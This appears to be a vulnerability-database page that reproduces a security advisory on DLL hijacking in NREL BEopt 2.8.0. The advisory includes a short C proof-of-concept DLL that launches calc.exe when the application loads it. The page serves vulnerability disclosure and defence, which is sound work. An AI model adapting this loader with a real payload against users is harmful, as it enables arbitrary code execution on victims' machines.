Lucene search
K

NREL BEopt 2.8.0 Insecure Library Loading Arbitrary Code Execution

🗓️ 09 Mar 2019 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 45 Views

NREL BEopt 2.8.0 DLL Hijacking Arbitrary Code Executio

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2019-25268
8 Jan 202601:11
circl
CNNVD
NREL BEopt 代码问题漏洞
8 Jan 202600:00
cnnvd
CVE
CVE-2019-25268
7 Jan 202623:09
cve
Cvelist
CVE-2019-25268 NREL BEopt 2.8.0 Insecure Library Loading Arbitrary Code Execution
7 Jan 202623:09
cvelist
NVD
CVE-2019-25268
8 Jan 202600:15
nvd
Positive Technologies
PT-2026-1673
7 Jan 202600:00
ptsecurity
Vulnrichment
CVE-2019-25268 NREL BEopt 2.8.0 Insecure Library Loading Arbitrary Code Execution
7 Jan 202623:09
vulnrichment
<html><body><p>/*

NREL BEopt 2.8.0 Insecure Library Loading Arbitrary Code Execution


Vendor: NREL
Product web page: https://beopt.nrel.gov
Affected version: 2.8.0.0, 2.7.0.0 and 2.6.0.1

Summary: The BEopt™ (Building Energy Optimization Tool) software provides
capabilities to evaluate residential building designs and identify cost-optimal
efficiency packages at various levels of whole-house energy savings along
the path to zero net energy.

Desc: BEopt suffers from a DLL Hijacking issue. The vulnerability is caused
due to the application loading libraries (sdl2.dll and libegl.dll) in an insecure
manner. This can be exploited to load arbitrary libraries by tricking a user into
opening a related application file .BEopt located on a remote WebDAV or SMB share.

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5513
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5513.php


06.02.2019

*/

// gcc -shared -o SDL2.dll exploit.c

#include <windows.h> 

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved)
{
	exec();
	return 0;
}

int exec()
{
	WinExec("calc.exe" , SW_NORMAL);
	return 0;
}
</windows.h></p></body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Mar 2019 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 48.6
CVSS 3.19.8
EPSS0.00089
SSVC
45